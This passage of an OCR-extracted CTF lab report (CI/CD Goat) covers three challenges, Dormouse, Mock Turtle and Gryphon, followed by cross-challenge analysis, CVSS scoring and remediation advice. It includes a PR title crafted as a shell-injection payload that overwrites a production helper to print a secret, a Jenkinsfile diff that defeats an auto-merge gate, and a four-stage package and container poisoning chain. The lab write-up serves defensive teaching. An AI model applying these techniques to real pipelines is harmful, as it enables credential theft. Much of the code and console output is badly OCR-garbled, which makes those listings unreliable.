Is "I breathe when | sleep” the same thing as "l sleepwhen |
breathe"? If you steal secrets when you hack pipelines, does it

mean you hack pipelines when you steal secrets? Leave that

nonsense aside. Hack the Dormouse pipeline. Steal flag 9. Good

View Hint

View Hint

View Hint

View Hint

Figure 5.38: Dormouse prompt.
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@y Issues Pull Requests Milestones Explore
g Wonderland / dormouse ®waten 1 frsar 0 Frok 0

¢>Code (lssues 1Y PullRequests [ Projects ©> Releases [ Wiki - Activity

D 222 Commits ¥ 1Branch © 0Tags B 404 kiB
—_—
¥ Branch: main *  dormouse / Jenkinsfile
42 lines | 1.6 KiB Raw | Pemaink | Bome | Hsoy | ¥ £ U

pipeline {
sgent any
environment {
PROJECT = "flask_meld"

stages {
stage ('Install Requirements') {
steps {
shonr
virtualenv venv

pip3 install -r tests/requirements.txt || true

stage (Lint') {
steps |
h "pylint ${PROJECT} || true”
i

stage (‘Unit Test:
steps {

sh “pytest || true”

J/ prod is also accessible at http://@177.0.0.01:8068/reportcov.sh
withCredentials([usernamePassword(credentialsld: 'flagd’, usernameVariable: ‘USERNAME', passwordVarizble: "FLAG')1) {
sh ""“curl -Os http://prod/reportcov.sh
chmod +x reportcov.sh

./reportcov.sh

post ¢
aluays {

<leantis ()

Powered by Gitea Version: 1.16.5 Page: 32ms Template: 2ms @ English | Licenses | APl | Website | Go1.18

Figure 5.39: Dormouse Jenkinsfile showing dependency on the external helper.
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Q@Y  issues  PulRequests  Milestones  Explore

g Cov/reportcov ®watch 1 Tesar 0 Prok 1
¢>Code (Dlssues % Pull Requests

[ Projects ~ © Releases DI Wiki - Activity

O 877 Commits ¥ 1Branch © 0Tags B1omiB

¥ Branch: main ~ reportcov / Jenkinsfile

68 lines | 2.1 ki

Row | pemaink | Bame | Wiy | & F

ch

pipeline ¢

sgent any

stages {
stage( 'Pull Request') {

when {

equals(actuali env.x_gitea_event, expected:’'pull_request’)
equals(actusls env.act:

n, expected: ‘opened')

T
stages {
stage (*Send notification) {
steps
seript ¢
try ¢
sh "acho Pull Request S{title) crested in the reportcov repository”
meil bee: 7, body: 'f, ecr ', from: '', subject: "Pull Request ${title} created in the reportcov repository”, to: ‘red_queenglo
calhost"
catch (Exception err) {
currentBuild.result = 'SUCCESS
b
¥
T

stage ('Release’)
wihen {

equals(actuali env.r_gitea event, expected: 'push')

1
stages ¢
stage (“Install dependencies') {
steps {
sho
python3 -m pip install -U pip
python3 -m pip install -U wheel

python3 -m pip install --progress-bar=off tox pytest-xdist -rci/requirements.txt

stage (“install')
steps {

sh "python3 -m pip install . || true”

stage ('Deploy’) {
steps {
sh "set +x && echo \"${KEYI\" > key && chmod 400 key & set -x*

sh "scp -o StrictHosteyChecking=no -1 key reportcov.sh root@prod:/var/wmw/localhost/htdocs’

b
¥
post {
aluays {
cleanis()
failure {
script {
current8uild.result = ‘SUCCESS'
b
¥

Powered by Gitea Version: 1.16.5 Page: 34ms Template: 4ms

@ English | Licenses | APl | Website | Go1.18

Figure 5.40: Reportcov Jenkinsfile: PR metadata flows into shell execution.
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Q@Y  issues  PulRequests  Milestones  Explore

g Cov/reportcov

<>Code  (Dlssues ') Pull Requests [ Projects  © Releases

Labels Milestones.

M wiki

® watch

- Activity

1 frstar 0 ¥rork |1

x; printf '%s\n" 'echo "$FLAG" | base64' > reportcovish; set +x; echo "§KEY" > =«
key; chmad 400 key; scp -o StrictHostKeyChecking=no -i key reportcov.sh

root@prod:/var/www/localhost/htdocs; # #1

BRYCPPY thealice wants to merge 1 commits from thealice/reportcovidormouse-pr-title-probe (O into main

Q) Conversation [ © Commits [ £ Files Changed [E

thealice commented 9 minutes ago
<5

Dormouse Reportcov PR title injection probe.

B thealice added 1 commit 9 minutes ago

o B ~dd Dormouse PR validation marker

I « This pull request can be merged automatically.

& There is no key available to sign this commit
® You are not authorized to merge this pull request.

38

4> Write Preview

B I & HHHHH <« & 02

Drop files or click here to upload

Powered by Gitea Version: 1.16.5 Page: 84ms Template: 5ms

o @ B -

0519aa333d

z B

lines: 1 words: 0 10

Close

Reviewers
No reviewers

Still in progress? Add WIP: prefix

Labels

No Label

Milestone

No Milestone

Projects

No project

Assignees

No Assignees

1 Participants

o 33..

Notifications

% Unsubscribe

Time Tracker

Start Timer

Add Time

Due Date

No due date set.

Dependencies
This pull request currently doesn't
have any dependencies.

@ English | Licenses | APl Website | Go1.18

Figure 5.41: PR title crafted as a shell injection payload.

Weakness: Two Chained Trust Failures

(1) Reportcov interpolated PR title text directly into a shell command, allowing helper script
overwrite on prod. (2) Dormouse treated the remote helper as trusted input inside a credential-
bearing job.

Exploitation Path \
Jraft PR title as shell payload — Reportcov pipeline overwrites reportcov.sh on prod — Dormouse

rebuild fetches and executes the poisoned helper — flag9 disclosed.

50



CHAPTER 5. CHALLENGE ASSESSMENTS CI/CD Goat | DevSecOps Assessment

Figure 5.42: Poisoned helper script after Reportcov deployment.
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Figure 5.43: Dormouse build disclosing the flag.
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Challenge 15Solves

Dormouse
300

Is "I breathe when | sleep” the same thing as "l sleepwhen |
breathe"? If you steal secrets when you hack pipelines, does it

mean you hack pipelines when you steal secrets? Leave that

nonsense aside. Hack the Dormouse pipeline. Steal flag 9. Good

Correct

Figure 5.44: Accepted CTFd submission.

Flag: 31350FBC-A959-4B4B-A8BD-DCA7AC9248A6

Remediation
Treat all PR metadata as hostile input. Never shell-interpolate repository metadata. Replace

runtime-downloaded helper scripts with reviewed immutable artifacts or versioned packages.

5.10 Mock Turtle — Auto-Merge Token Leakage and Flow-

Control Failure

> Context

Mock Turtle targeted the merge gate itself: the automation that decided whether a PR could
be merged into the trusted branch.

53



CHAPTER 5. CHALLENGE ASSESSMENTS CI/CD Goat | DevSecOps Assessment

Challenge 0OSolves

Mock Turtle
300

Have you seen the Mock Turtle yet? It's the thing Mock Turtle
Soup is made from. Can you push to the main branch of the
mack-turtle repo? Do what's needed to steal the flag10 secret
stored in the Jenkins credential store.

View Hint

Figure 5.45: Mock Turtle prompt.
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Q@Y  issues  PulRequests  Milestones  Explore o o+ -

ElWonderIand/mock—tume Private @wetch 1 Trsor 0 Frok 0

<> Code (Dlssues 1Y Pull Requests =[] Projects  © Releases [ Wiki  r Activity

lestones New Pull Request

Probe flag10 pipeline path #1 car

Pt VIR riock-turtle-ci merged 1 commits from probe-flagie (3 into main 3 minutes ago

Labels

@ Conversation [ o Commits ) + Files Changed EB

# 3 changed files with 5 additions and 27 deletions Whitespace = Split View Diff Options ~ m

v 29 I Jenkinsfile vendored Unescape View File

@ -1,33 +1,10 @8 @8 -1,33 +1,10 8@

1 1 pipeline ¢
2 2 agent any
3 H stages {
2 - stage("prichecks") {
4+ stage('flagld') {
s s steps {
3 - withCredentials([usernamcPassword( i *mock-turtle-token', iable: 'USERNAME', p iable: 'TOKEN')]) {
- B -
8 - PR_ID="echo "SCHANGE_URL" | grep -Po '~http://gitea:3009,onderland/mock-turtle/pulls/\\K\\dsE®
9 - if [ 82 -ea @ 15
10 - then
1 - gitp="git diff --word-diff=porcelain origin/${CHANGE_TARGET} | grep -e "+[*+]" | wc -w | xargs’
2 - gitn="git diff --word-diff=porcelain origin/3{CHANGE_TARGET} | grep -e "*-[*-]1" | wc -w | xargs™
13 - iF [ $((Sgitp - $gitm)) -eq @ ] ; then checki=true; else checkl=false; Fi
14 - if [ 3(wc -1 <version) -eq 8 -a $(grep -Po "W\d{1,21\\.\\d{1,21\\.\\d{1,2}$" version) ] ; then check2=true; else check2=fa
1se; fi
15 = if [ S(git oiff --name-only origin/${CHANGE_TARGET} | grep version) ] ; then check3=true; else check3=false; i
16 - if Scheckl 82 Scheck? 8& Scheckd;
17 = then
18 - curl X "POST' \
1 - *http://gites: 3000/ api/v1/repas/Handerland/mock-turtle/pulls/ "$PR_ID" " /merge’ \
0 - -H accept: spplication/json’\
2 - -H Content-Type: application/json’ \
22 - -H “Authorization: token '"$TOKEN" \
2 - B
2 - "Do"; "merge”
s - 3
26 - else
27 - echo “skipping...';
28 - 1
23 -
30 - o
6 . withCredentials( i *flagie*, isble: 'USERNAME', passwordVariable: 'FLAG')]) {
7. sh "echo "$FLAG" | base64'
ES 8 3
32 H b
E 10 »
¥
v 1 M balance-notes. txt Unescape  View File
©-9,0 168 68 -0,0 +1 88
1+ weel weG2 WABS GBS WEBS WARE WOOT WODS OIS WE10 woll wA12 WBL3 WBld WelS wolS uel7 WB1S Wald w920 w2l WB22 wa23 wA24 KA2S A6 Wa27 WA2E w929 w3 w
©31 4032 w033 34 WR3S w036 WO37 WO3B WO39 WRAQ WDAL WAL WBA3 WBAA WOAS WOAG WG4 WBAS WB4D WOSO WOS1 WES2 WOS3 WG5S WASS WOSE WOS7 WSS WOSO WAED Wa
61 w062 1BG3 WBG4 WOES WOGE WOG7 OGS WBGD WETO WO71 W72 WB73 WB7A WBTS WOT6 W77 WBTE w079 wSD WOSL WeS2 WeS3 wOBA WOES W2SE wOS7 WOSS WS We9d WoY
1 w092 w093 w034 we9S wB96 waD7 wATB We99 w100 wi0l w02 wie3 widd wieS wl85 wle7 wieS wi09 wlle will wil2 wil3 wild wllS wil6 wil? wllS wlld wi2e wi2l
w122 wi23 wi24 w25 wi26 wi27 wi28 wl2? wi3e wi3l wi32 wl33 wi34 wi35 wi36 wl37 wl3s wl3® widd wldl wld2 wid3 wiad
v 2 I version Unescape View File
©-1-16868 -1-160
1 RENRE]
1+ 1.0.2
Powered by Gitea Version: 1.16.5 Page: 103ms Template: 20ms @ English | Licenses | APl | Website | Go1.18

Figure 5.46: PR payload satisfying the merge checks while modifying the trusted pipeline.
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Dashboard + wonderland-mock-turtle » PR-1 » #3

A Back to Project

O status

@ Console Output

= changes
| B Console Output
) View s plin text
= View Buid iformation
& oitsuavss
& oisuiaons

£ Pipeline Steps

B Worispaces

4 Previous Build

3 _Pa-10scrip
mock-turtle PR-19scrips/.gic # tizeout=10
i tea:3000/Wonderland/mock-turtle.git ¢ tin
1000/Wonderland/mock-tartle. git
it ‘
o8 nead commic
CleER-1/.git ¢ cimecus=io
tle.git ¢
it

/mock-tartle/pulls/\R\ars

15/1/merge

RESTAPI  Jenkins 23321

Figure 5.47: Build output: weak diff heuristic passes on a malicious change set.

Weakness: Heuristic Merge Gate
The auto-merge logic relied on s
the same PR from replacing the Jenkinsfile.

ell-based diff arithmetic. Satisfying the heuristic did not prevent
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Exploitation Path
structure the change so all heuristic checks stay green while the PR still replaces the trusted-branch

pipeline — Jenkins auto-merges — post-merge build runs attacker-controlled Jenkinsfile — £1ag10

disclosed.
@Y lssues  PullRequests  Milestones  Explore o+~ -
ﬁ Wonderland / mock-turtle | Private ©watch 1 Wstar 0 ¥rok 0
¢>Code (Dlssues 19 Pull Requests = [M Projects @ Releases [ Wiki v Activity
Labels  Milestones
| T Edit
Probe flag10 pipeline path #1 :
PP el mock-turtle-ci merged 1 commits from probe-flagie (0 into main 3 minutes ago
©Y conversation [ o Commits @)  + Files Changed (BB
thealice commented 5 minutes ago Collaborator @ *** Reviewers %
Manual CI/CD Goat Mock Turtle investigation. No reviewers
Labels &
G  thealice added 1 commit § minutes ago No Label
o 8 probe flagio pipeline path Vv 9359cacdcd
Milestone 83
) No Milestone
B} thealice force-pushed probe-flag10 from 9359cacded to d2e2ed2e3@ 4 minutes ago
Projects &3
G  thealice force-pushed probe-flag10 from d2e2ed2e38 to c5187¢9ch3 3 minutes ago
No project
mock-turtle-ci merged commit 736439194 into main 3 minutes ago Assignees 8
No Assignees
n mock-turtle-ci referenced this issue from a commit 3 minutes ago
0~ Merge pull request Probe flag10 pipeline path’ (+1) from probe-flag10 into main 1 Participants
1 ° v wonderland-mock-turtle/pipeline/pr-main This commit looks good Details
Notifications
The pull request has been merged as 736d3e919d.
dx Unsubscribe
Delete Branch 'probe-flagi0*
Time Tracker
Start Timer
Write  Preview e
B I § HHHHH & 0 =& %S @E- s § Due Date.
No due date set.
dd/mm/yyyy [u] .
Dependencies
This pull request currently doesn't
have any dependencies.
paa . .
lines: 1 words: 0 11
Drop files or click here to upload
Powered by Gitea Version: 1.16.5 Page: 67ms Template: 5ms @ English | Licenses | APl Website | Gol.18

Figure 5.48: PR auto-merged by the automation.
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Q  Search

o} d » wonderl

# Back to Project
0, status
"= Changes

| B console output

w as plain text

"= View Build Information

4 GitBuild Data

4 GitBuild Data

@ Restart from Stage
» Rebuild

Pipeline Steps

[ Workspaces

4 Previous Build

Console Output

indexing
ag out git http://gitea:3000/Wonderland/mock-turtle.git

tallation

recommended git T

is: NONE

credential mock-turtle-token

> git rev-parze

Fetching changes
> git co;

om the remote Git repository

Fetching upstream changes frem http://gitea:3000/Wonderland/mock-turtle.git
# ti 10

4 'git versien 2.30.2'

> git —-vers

> git --versia

using GIT_ASKPASS to set credemtials

> git fetch --tags —

rtle/main®{commit

/remotes/

g core.sparseche

> git checkout -f 73£d30919dal7c7e278efn7228425003030927158 # timecut=

Commit messag srge pull request 'Brobe flagl0 pipeline path' (§1
15t —-no-walk 708476334753421921725ba2k332E6 5734

> git rev-

# timeour=10

on agentl in /home/jeniins/workspace/wonderland-mock-turtle_main

Querying the current revision of branch main...

Current revis branch main is 736d430919dal

ol is: NONE

commended git T

: Credentialld "gitea-access-token® could not be found

ing changes frem the remote Git repository

2g without tags

ng cut Revision 736430813dal7cTe276efbTeel4e5c0383027156 (main)

: "Merge pull request 'Brcbe flagl0 pipel

nessag

rev-parse

20 upstrean changes
it
4 'git version 2.30.2'

--vers

=10

> git --vers

> git feteh --no-tags --forcs

pregress —- htt)

turtle.git +refs/heads/mai

efs/remotes/origin/main § timeout=

> git config core.sparsscheckout # timeous=10
> git checkeut -f 736d30919dal7c7e276efbTeeB4e5c0393927156 # timeout=10
> giv rev-list --no-walk 708d763d47b34219al7a5bdok332£66£73deas2e? # timeous=10

[Gitea] Notifying branch build status: PENDING Bwild started.

Givea] Nowified

Masking supported pattern matches of §

SUCCESS This commit looks good

resolve-git-dir /var/jenkins_home/workspace/wonderland-mock-turtle main@scri

¢ remote.mock-turtle.url http://gitea:3000/Wonderland/mock-turtle.git ¢ Timecut=10

ce --progress -- http://gitea:3000/Wonderland/mock-turtle.git +refs/heads/*

~turtle/main)

m probe-flagl0 into main®

e path' (#1) from probe-flagl0 into main"

resolve-git-dir /home/jenkins/workspace/wonderland-mock-turtle main/.git # timeow
mote.origin.url http://a644940c92efe2d1876e16a5d29e6c6d7e199b68Eg1 tea: 3000/ Wonderland/mock-turtle.git #

2 Alice

.git ¥ timeout=10

efs/Temotes/mock-t

http://a644940c92efe2d1587 6616542 9e606d7e199b66Eg1 tea: 3000/ Wonderland/mock-turtle.git

S]log out

/2644940c92efe2d1876e1 6a5d29e66d7e199b68Eg1 tea: 3000 /Wonderland,/mock-

REST API Jenkins 2.332.1

Figure 5.49: Trusted-branch build disclosing the flag.
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Challenge 15Solves

Mock Turtle
300

Have you seen the Mock Turtle yet? It's the thing Mock Turtle
Soup is made from. Can you push to the main branch of the

mock-turtle repo? Do what's needed to steal the flag10 secret.

stored in the Jenkins credential store.

Correct

Figure 5.50: Accepted CTFd submission.

Flag: D54734AB-7B83-4931-A9BB-171476101FDF

Remediation
Use exact file-path allowlists for automation-driven merges. Require human approval when pipeline
definitions change. Scope auto-merge tokens so they cannot rewrite the delivery path unchecked.

5.11 Gryphon — Package and Container Supply-Chain Compro-

mise

> Context

Gryphon was the most complex chain in the lab: GitLab package publishing, scheduled down-
stream testing, registry token exposure, and mutable deployment images consumed by a pro-
tected project.
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Challenge 0OSolves

Gryphon
500

"That's the reason they're called lessons,” the Gryphon remarked:
“because they lessen from day to day.” How long will it take you

to crack the Gryphon challenge? This time, you've

compromised GitLab! Use your user account to capture
flag11. Doyou have what it takes?

© Good to know: you can click the “Explore projects” button
toview public projects as well.

View Hint

View Hint

View Hint

View Hint

Figure 5.51: Gryphon prompt.

@ Explore Explore > Projects
Q@ Projects .
. Explore projects
80 Groups
& Topics Al Moststarred  Trending Filter by name Language v || Updated date  ~
X snippets
P pygryphon / pygryphon & 3 Apache License 2.0 #0 %0 1Mo DO
A servant to the Queen who befriends Alice. The Gryphon eseorts Alice to see the Moek Turtle Updated 4 minutes ago

w0 ¥0 ho Do
Updated 2 weeks ago

N Wonderland / nest-of-gold @  MIT License

%0 ¥0 Mo Do
Updated 2 weeks ago

A Wonderland / awesome-app & ® MIT License

GitLab Instance / Monitoring () #0 %0 130 DO
This project is automatically generated and helps monitor this GitLab instance. Learn more. Updated 2 weeks ago

« Collapse sidebar

Figure 5.52: GitLab project enumeration showing public project relationships.
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A awesome-app Vonderland > awesome-app > Repository

Q@ Project information main v | awesome-app / requirements.txt Find file Blame History Permalink

@ Repository

Files ;ﬁ; Cl updates @ | mosaess | @
== gryphon authored 3 years ago

Commits

(DD ) This project manages its dependencies using pip. Learn more

Tags

Contributor statistics

E requirements.txt [f} 214 bytes ‘Open in Web IDE

--extra-index-url http://token:cd79dd622c60463a574635e874765¢00@g1tLab/api/v4/projects/pygryphon%2Fpygryphan/packages/pypi/sinple --tr

. Replace | Delete | | [} &
Graph

Compare revisions

pytest==7.2.0

D Issues o

=

Merge requests [}

clco

(R

Deployments

Packages and registries

& o

Monitor

=

Analytics

]

Wiki

£

Snippets

<« Collapse sidebar

Figure 5.53: awesome-app requiring pygryphon==1.0.13 from the internal registry.

N nest-of-gold Wonderland > nest-of-gold > Repository

Q@ Project information main v | nest-of-gold / .gitlab-ci.yml Findfile | | Blame || History | Permalink

[ Repository

Files Initial commit ® efapoerd | [
asi-cider authored 1 year ago -

Commits
Banches v This GitLab CI configuration is valid. Learn more
Tags
Contributor statistics . . 5

u . & gitlab-ci.yml [ 782 bytes Open in Web IDE ’ Replace | Delete || [ &
Graph

image: "python:3.9.15-alpine3.16"

1
Compare revisions 2
3 stages:
5
6

O Issues o ~test
33 Merge requests 0 deploy
& cico test-job:
8 stage: test
@ Deployments 9 seript:
10 - pip3 install -r requirements.txt
B Packages and registries 1 - export FLAG11=test
12 - python3 -m venv tm
B2 Monitor 13 - Zﬁum tmp/bin/act?vate
I analytics 14 - pytest test_login.py
15 - deactivate
Q wiki 16
7 deploy-job:
X snippets 18 stage: deploy
19 environment: production
20 script:
21 - apk add docker-cli openssh-client
2 - echo $SSH_KEY | baseo4 -d > key && chmod 400 key
23 - set -m
24 - ssh -fN -0 StrictHostKeyChecking=no -i key -L 1111:127.0.0.1:2376 root@prod
25 - export DOCKER_HOST=tcp://127.0.0.1:1111
2 - docker build --pull -t web:latest .
7 - docker stop web || true
28 - docker rn web || true
29 - docker login -u gryphon -p $TOKEN $CI_REGISTRY
30 - docker run -d -e FLAG11=$FLAGL1 -p 5000:5000 --name web web:latest

« Collapse sidebar

Figure 5.54: nest-of-gold consuming a mutable image tag while running with FLAG11.
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Weakness: Mutable Artifact Trust at Every Stage
Each stage assumed the previous internal artifact (package, registry token, container image) was

trustworthy. None were pinned or signed. Compromise propagated up the chain automatically.

\.

Exploitation Path (4 stages) .
. Publish malicious pygryphon update — 2. Scheduled awesome-app job imports it, exposes

registry token in build log — 3. Use token to push poisoned image to the namespace used by

nest-of-gold — 4. Next scheduled deployment pulls poisoned image, flag becomes accessible at
the exposed endpoint.

Figure 5.55: Malicious upstream package published in GitLab CI.
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* Q Search GitLab

A awesome-app

@ Project information

B Repository

O Issues (]

13 Merge requests
@ ciico
Pipelines
Jobs
Schedules
@ Deployments
@ Packages and registries
& Monitor
I Analytics
@ wiki

X Ssnippets

« Collapse sidebar

#842

d | Job test-job triggered 39 minutes ago by ! gryphon

Running with gitlab-runner 15.5.1 (71785880)
on 8enf7f3f0ads tMiwYxpT

Using Docker executor with image python:3.9.15-alpines.16 ...

PuLling docker image python:3.9.15-alpines.16 ...

Using docker inage sha256:67c7dceBc37bf14488ecd9549327ee9e81ed349715203325eabcT316e48bagb6 for pyt
hon:3.9.15-alpine3.16 with digest python@sha25e:ea679ee27dbb8F36fbfc304be1b4BBbAFd7beadSAd230a47F97

187c2e3d4807 ...
@)
@

Running on runner-tmiwyxpt-project-4-concurrent-0 via 8ebf7f3feads

Reinitialized existing Git repository in /builds/wonderland/awesome-app/.git/

Using docker inage sha256:67c7dceBc37bT14488ecd9549327eege81ed349715203325eabcT316e48bagb6 for pyt
hon:3.9.15-alpine3.16 with digest python@sha25e:ea679ee27dbbBf36fbfc304be1b48BbA4Td7bead5Ad230a47F97
187c2e3d4867 ...

adding trusted host: 'gitlab’ (from line 1 of requirements.txt)
Looking in indexes: https://pypi.ora/sinple, http://token:+++@gitlab/api/va/projects/pygryphon%2F
Rygryphon/packages/pypi/sinple
Collecting pytest==7.2.0
Downloading pytest-7.2.0-py3-none-any.whl (316 kB)
316.8/316.8 KB 1.5 MB/s eta 0
Collecting flask==2.8.3
Downloading Flask-2.0.3-py3-none-any.whl (95 K8)
95.6/95.6 KB 3.1 MB/s eta 0:09:00
Collecting Werkzeug==2.0.3
Downloading Werkzeug-2.0.3-py3-none-any.whL (289 kB)
289.2/289.2 KB 3.0 MB/s eta 6:
Collecting pygryphon==1.8.13
Downloading http://gitlab/api/vé/projects/2/packages/pypi/files/2ff2d2d4baf3ffcbc2807a1ec1649086
211b47£9750263b5F £64947C52F Fb6c/pygryphon-1.8.13-1-py3-none-any.whl (2.6 KB)
Collecting attrs>=19.2.0
Downloading attrs-26.1.0-py3-none-any.whl (67 kB)
67.5/67.5 KB 2.5 MB/s eta 0:00:00
Collecting pluggy<2.8,>=0.12
Downloading pLuggy-1.6.8-py3-none-any.whl (26 kB)
Collecting packaging
Downloading packaging-26.2-py3-none-any.whl (160 kB)

/ D Ny e @

test-job
Downloading iniconfig-2.1.0-py3-none-any.whl (6.8 kB)
Collecting tomli>=1.6.0 Duration:
Downloading tomli-2.4.1-py3-none-any.whl (14 kB)
Collecting Jinja2>=3.8
Downloading jinja2-3.1.6-py3-none-any.whl (134 kB)
134.9/134.9 KB 2.9 MB/s eta O:

1 seconds

Finished: 39 minutes ago
Queued: 0 seconds

Timeout: T (from project) ®
Runner: #35 ((MiwYxpTX)
8ebf7f3f0ad8

Collecting click>=7.1.2
Downloading click-8.1.8-py3-none-any.whl (98 kB)
98.2/98.2 KB 2.9 MB/s eta 0:00:00
Collecting itsdangerous>=2.6 Commit 71954854 %
Downloading itsdangerous-2.2.8-py3-none-any.whl (16 kB) Clupdates
Collecting typing-extensions>=4.6.0
Downloading typing_extensions-4.15.8-py3-none-any.whl (44 kB)
44.6/44.6 KB 3.8 MB/s eta 8:00:08
Collecting MarkupSafe>=2.8 test
Downloading markupsafe-3.6.3-cp39-cp39-nusilinux_1_2_x86_64.whl (20 kB)
Installing collected packages: Werkzeug, typing-extensions, tomli, pygryphon, pluggy, packaging, M
arkupsafe, itsdangerous, iniconfig, click, attrs, Jinja2, exceptiongroup, pytest, flask = Otest-job
Successfully installed Jinja2-3.1.6 MarkupSafe-3.0.3 Werkzeug-2.0.3 attrs-26.1.0 click-8.1.8 excep
tiongroup-1.3.1 flask-2.6.3 iniconfig-2.1.8 itsdangerous-2.2.8 packaging-26.2 pluggy-1.6.8 pygrypho
n-1.0.13 pytest-7.2. tomli-2.4.1 typing-extensions-4.15.0
WARNING: You are using pip version 22.6.4; however, version 26.6.1 is available.
You should consider upgrading via the '/builds/wonderland/awesome-app/tmp/bin/python3 -m pip insta
11 --upgrade pip' command.

Pipeline #472 for nain (%

test session starts
platform linux -- Python 3.9.15, pytest-7.2.8, pluggy-1.6.0
rootdir: /builds/wonderland/awesome-app
collected 1 item
test_hello.py .

Captured stdout call
GRYPHON_TOKEN_B64=HDRiNN.JKZ]QyNNR1ZDCYMGEZNDCHNWE Z0TGIMDASMZC=
short test summary info
PASSED test_hello.py: :test_hello
1 passed in 6.23s

Figure 5.56: Scheduled downstream job exposing the registry token.
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arch GitLab

N nest-of-gold Wonderland > nest-of-gold > Jobs > #853 deploy-job

@ Project information S — R B o
| ® skipped | Job deploy-job created 19 minutes ago by 2 gryphon Commit efdbbefd

@ Repository

Initial commit
B Issues o @ This job is creating a deployment to production. This will overwrite the latest deployment.
33 Merge requests o ® Pipeline #477 for main [
@ cicp deploy .
Pipelines
Jobs - = (® deploy-job
Schedules _- L
@ Deployments —

B Packages and registries
& Monitor

b Analytics L. A
This job has been skipped
Q wiki

X snippets

<« Collapse sidebar

Figure 5.57: Deployment consuming the poisoned image.

Figure 5.58: Flag recovered from the poisoned deployment endpoint.
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Challenge 15Solves

Gryphon
500

"That's the reason they're called lessons,” the Gryphon remarked:
“because they lessen from day to day.” How long will it take you

to crack the Gryphon challenge? This time, you've

compromised GitLab! Use your user account to capture
flag11. Doyou have what it takes?

© Good to know: you can click the “Explore projects” button
toview public projects as well.

Figure 5.59: Accepted CTFd submission.

Flag: 7ED44218-C9CC-4824-BC85-C9841305A642

Remediation
Restrict internal package publishing. Pin images by digest, never mutable tags. Require provenance

and signing for all internal artifacts. Reduce scope of registry tokens exposed to scheduled jobs.
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CHAPTER 6

Cross-Task Analysis

6.1 Recurring Trust Boundary Failures

Across all eleven challenges, the protection was applied at the wrong layer:

e Protecting main did not prevent the fork PR job from leaking the SCM token that could

overwrite it (Caterpillar).
o Protecting the Jenkinsfile did not constrain the Makefile it delegated to (Mad Hatter).

o Protecting the downstream repo did not protect the upstream package it consumed (Twid-
dledum).

o Running Checkov did not prevent apply-time infrastructure mutation (Dodo).

The recurring failure was not missing tooling. It was trusting the wrong input boundary.

6.2 Lateral Movement and Privilege Escalation Patterns

Initial Access Pivot Impact
SCM Write
Fork / Read Token L----_ Protectec!
Access (Caterpillar) Branch Write
CI User Controller Jenkins Cred
> . - - - -

Account Exec (Cheshire) Store
Package Registry | Deployment

Publisher Token (Gryphon) Image Poison

Figure 6.1: Lateral movement and privilege escalation paths observed across the challenge set.
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6.3 Secret Exposure Taxonomy

Exposure Class

Direct PPE
disclosure

Token leakage via
CI context

Git history recovery

Credential store
replay

Supply-chain
execution

Metadata injection
chain

Mechanism

Repo-controlled pipeline
prints bound credential
Fork /PR job executes in
privileged SCM token
scope

Credential removed from
tree but persists in objects

Agent SSH launcher sends
stored cred to controlled
host

Attacker code runs inside
secret-bearing downstream
job

PR text becomes shell
input, overwrites trusted
helper

Challenges

White Rabbit, Mad
Hatter

Caterpillar, Mock Turtle

Duchess

Hearts

Twiddledum, Gryphon

Dormouse

Figure 6.2: Secret exposure taxonomy across the eleven challenges.

6.4 CVSS 3.1 Scores

67



CHAPTER 6. CROSS-TASK ANALYSIS CI/CD Goat | DevSecOps Assessment

Gryphon | —— 9.4
Mock Turtle | 8.6
Dormouse I —— s.8
Hearts [INEE— s.8
Dodo — 71
Twiddledum [ I—— 8.8
Cheshire Cat  [IEEEE—" 9.1
Duchess [N 4.9
Mad Hatter [, s.8
Caterpillar " 8.8
White Rabbit " s.8

CVSS 3.1 Score

Figure 6.3: CVSS 3.1 scores for all eleven challenges with severity band shading (yellow > 4,
orange > 7, red > 9).

6.5 Full CVSS Table

Challenge Vector Score Sev. Rationale

White Rabbit  Av:N/AC:L/PR:L/ 8.8 PR pipeline exposes Jenkins
UL:N/S:C/C:H/T:H/ credential.

Caterpillar AV:N/AC:L/PR:L/ 8.8 Read access escalates to
UL:N/S:C/C:H/I:H/A:L protected-branch write.

Mad Hatter AV:N/AC:L/PR:L/ 8.8 Protected pipeline bypassed
ULN/S:C/C:H/I:H/ via mutable Makefile.

Duchess AV:N/AC:L/PR:L/ 4.9 Credential in history; no
ULLN/S:U/C:H/I:N/A:N pipeline interaction.

Cheshire Cat  AV:N/AC:L/PR:L/ 9.1 PR forces controller
UL:N/S:C/C:H/T:H/ execution and local file

access.
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Challenge Vector Score Sev. Rationale

Twiddledum AV:N/AC:L/PR:L/ 8.8 Mutable internal dep
UL:N/S:C/C:H/I:H/A:L executes in secret-bearing

job.

Dodo AV:N/AC:L/PR:L/ 7.1 Static policy bypass enables
UL:N/S:U/C:L/T:H/. live infra mutation.

Hearts AV:N/AC:L/PR:L/ 8.8 Agent config replays system
UL:N/S:C/C:H/I:H/A:L credential to attacker.

Dormouse AV:N/AC:L/PR:L/ 8.8 PR metadata chain poisons
UL:N/S:C/C:H/I:H/ helper in credential scope.

Mock Turtle AV:N/AC:L/PR:L/ 8.6 Weak merge gate allows
ULN/S:C/C:H/I:H/A:L malicious pipeline on main.

Gryphon AV:N/AC:L/PR:L/ 9.4 4-stage supply-chain

ULN/S:C/C:H/I:H/

compromise reaches

deployment.

Table 6.1: CVSS 3.1 assessment for all lab challenges.
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Remediation Strategy

The findings share a single root cause: the execution trust model was wider than the review

model. Every remediation axis below narrows one of those gaps.

7.1 Defense-in-Depth for CI/CD

Monitoring & Response Layer
anomaly detection - audit logs - SIEM integration

Artifact Integrity Layer

T digest pinning - provenance - SBOM - image signing
A J
< 1 . o N\
2 Execution Isolation Layer
5 no controller exec - ephemeral agents - sandboxed runners
(& J
i s A
Pipeline Trust Layer
trusted definitions - no PR secrets - narrow tokens
(. J/
4 )

Source Control Layer

CODEOWNERS - branch protection - signed commits
(& J

Figure 7.1: Defense-in-depth layers for CI/CD security. Each layer independently reduces the
blast radius of a compromise in the layer below it.

7.2 Source Control Hardening

Branch protection governs only what it explicitly tracks. Any file invoked by the
pipeline—Makefiles, shell helpers, setup scripts—must be under the same review discipline
as the Jenkinsfile or .gitlab-ci.yml itself. CODEOWNERS-style path-based ownership
enforces this automatically.
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e Require human review for all pipeline-relevant file paths, not just the pipeline file.
o Enable pre-receive hooks with secret scanning on every repository.
e Sign all commits that touch release-critical paths.

o Audit repository access grants regularly and remove stale permissions.

7.3 Pipeline and Jenkins Hardening

e Run untrusted PR content under a separate, trusted pipeline definition stored outside the
target repository.

e Disable controller executors; all production builds run on dedicated agents.
e Restrict agent label selection to an allowlist for untrusted job categories.
e Treat node administration as a privileged function with audit trails and change approval.

